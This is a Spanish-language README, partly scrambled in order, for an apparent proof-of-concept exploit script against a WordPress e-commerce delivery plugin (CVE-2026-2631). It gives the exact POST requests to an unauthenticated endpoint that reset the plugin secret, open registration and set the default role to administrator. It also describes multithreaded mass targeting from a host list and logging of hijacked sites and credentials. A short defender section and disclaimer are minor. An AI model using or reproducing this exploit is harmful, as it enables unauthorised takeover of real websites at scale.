
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalada de Privilegios No Autenticada
Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalada de Privilegios No Autenticada
PoC / Script de Exploit:
CVE-2026-2631.py
Autor: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contacto: Telegram:@Kxploit
< 2.6.60 (excluyendo 2.6.60)CVE-2026-26319.8 (Crítica)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HEl plugin Datalogics Ecommerce Delivery – Datalogics expone un endpoint no autenticado:
/wp-json/gsf/v1/update-options
Este script abusa de ese endpoint para:
shop_secret usando la acción vulnerable resetStoreConfigrations.users_can_register = 1.administrator: default_role = administrator.wp-login.php?action=registerSi tiene éxito, cualquier usuario nuevo creado a través del formulario de registro será un administrador.
users_can_register = 1default_role = administratorrich (tabla con colores y actualización en vivo).Login_admin.txt.Instala los paquetes requeridos:
pip install -r requirements.txt
Ejemplo de requirements.txt:
requests
rich
urllib3
O instálalo manualmente:
pip install requests rich urllib3
Para cada objetivo:
Normalizar URL
http:// si falta.Restablecer shop_secret
/wp-json/gsf/v1/update-optionsaction = resetStoreConfigrationsshop_secret = <new_secret>app secret key has been updated successfullyActualizar Opciones de WordPress
action = createUpdateOptionoption_key = users_can_register, option_value = 1option_key = default_role, list.txt (o de un archivo personalizado).N fragmentos usando chunkify.N hilos de trabajo, cada uno procesando su propia lista de objetivos.Queue compartida para los mensajes de estado hacia el hilo de impresión.printer_loop) actualiza una tabla rich en vivo:
python3 CVE-2026-2631.py
Se te solicitará de forma interactiva:
Archivo de objetivos
Targets file (one host/URL per line) [list.txt]:list.txtvictim.comhttps://target-site.comhttp://example.org/blogHilos
Threads (1-50) [10]:1050Valor de shop_secret
shop_secret [Nxploited_newSecret]:Nxploited_newSecretresetStoreConfigrations.Estas credenciales se usarán para el intento de registro en cada objetivo vulnerable.
Crea list.txt (o cualquier archivo que quieras) con un objetivo por línea:
example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org
El script:
http:// automáticamente si falta./ final.Todas las operaciones exitosas (incluso si el registro de usuario falla pero las opciones se establecen) se escriben en:
Login_admin.txt
Una línea típica:
http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
Ejemplos de estado en la tabla en vivo:
SUCCESS – opciones establecidas y/o usuario registrado.FAILED – restablecimiento/opciones fallaron, la vulnerabilidad no es explotable.ERROR – Excepción, errores de red, tiempos de espera, etc.POST /wp-json/gsf/v1/update-options
shop_secretaction=resetStoreConfigrations
shop_secret=<new_secret>
action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator
GET/POST /wp-login.php?action=register
El script:
_wpnonce si está presente.normalize_site(raw: str) -> str
Normaliza las URLs de los objetivos.
send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
Intenta la acción resetStoreConfigrations.
send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
Establece opciones de WordPress mediante el endpoint vulnerable.
check_registration_open(site: str, timeout: int = 10) -> (bool, str)
Comprueba si el registro está abierto y el formulario es accesible.
try_register_user(...) -> (bool, str)
Intenta registrar el usuario proporcionado.
write_success_line(site: str, secret: str, detail: str)
Registra los detalles de éxito en Login_admin.txt.
worker(...)
Trabajador por hilo que:
$ python3 CVE-2026-2631.py
[Banner / ASCII Art]
Targets file (one host/URL per line) [list.txt]:
> list.txt
Threads (1-50) [10]:
> 20
shop_secret [Nxploited_newSecret]:
> NxSecret2026!
Registration username [Nx_test1]:
> admin_nx
Registration email [[email protected]]:
> [email protected]
Registration password [Nx_adminSA]:
> SuperStrongP@ss!
[Live table starts showing each target’s status]
Processed 5/20 targets · Output: Login_admin.txt
Done. Successful sites (if any) saved to Login_admin.txt.
Para Defensores / Propietarios de Sitios:
wp_users./wp-json/gsf/v1/update-options/wp-login.php?action=registerEste script se proporciona estrictamente con fines educativos y de pruebas de seguridad autorizadas.
Si no estás de acuerdo con estos términos, no uses este script.
CVE-2026-2631@Kxploit en TelegramMantente a salvo, hackea responsablemente. 🕶️💻
option_value = administratorwordpress option has been created or updated successfullyComprobar si el Registro está Abierto
/wp-login.php?action=registerUsers can register, Anyone can register, user_registration, registerformuser registration is currently not allowedIntentar el Registro de Usuario
_wpnonce de la entrada oculta si está presente.user_login, user_emailuser_pass/user_pass2 si existen campos de contraseña_wpnonce, _wp_http_referer, redirect_to, wp-submit=Registerregistration complete, check your email, user registereduser_already_existsRegistro
Login_admin.txt<site> | register_url: <url> | shop_secret: <secret> | <details>
Credenciales de registro
Registration username [Nx_test1]:Registration email [[email protected]]:Registration password [Nx_adminSA]:shop_secretprinter_loop(queue: Queue, total: int)
Lee los mensajes de la cola y actualiza una interfaz de tabla en vivo rich.
main()
Orquesta: